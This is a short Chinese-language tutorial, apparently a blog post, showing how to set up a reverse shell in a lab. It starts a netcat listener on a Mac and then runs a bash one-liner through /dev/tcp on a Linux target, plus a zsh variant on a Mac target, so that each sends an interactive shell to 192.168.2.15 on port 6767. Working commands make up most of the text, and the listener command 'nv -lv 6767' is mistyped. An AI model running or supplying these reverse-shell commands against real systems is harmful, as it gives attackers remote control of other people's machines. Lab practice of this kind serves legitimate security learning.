1.本机mac通过nc启动监听

1
2
sudo su
nv -lv 6767

2.在靶机上输入shell脚本命令,反弹shell:mac->(攻击kali)

1
2
#linux执行脚本
bash -i >& /dev/tcp/192.168.2.15(mac ip)/6767 0>&1

如下图,成功截取linux系统操作

3.监控到mac目标靶机上执行的脚本

1
2
3
#mac环境执行脚本
sudo su
zsh -i > /dev/tcp/192.168.2.15/6767

如下图所示:

参考博客:

https://juejin.cn/post/7089273867243356174 –命令参考博客

https://zhuanlan.zhihu.com/p/138393396 –反弹shell原理理解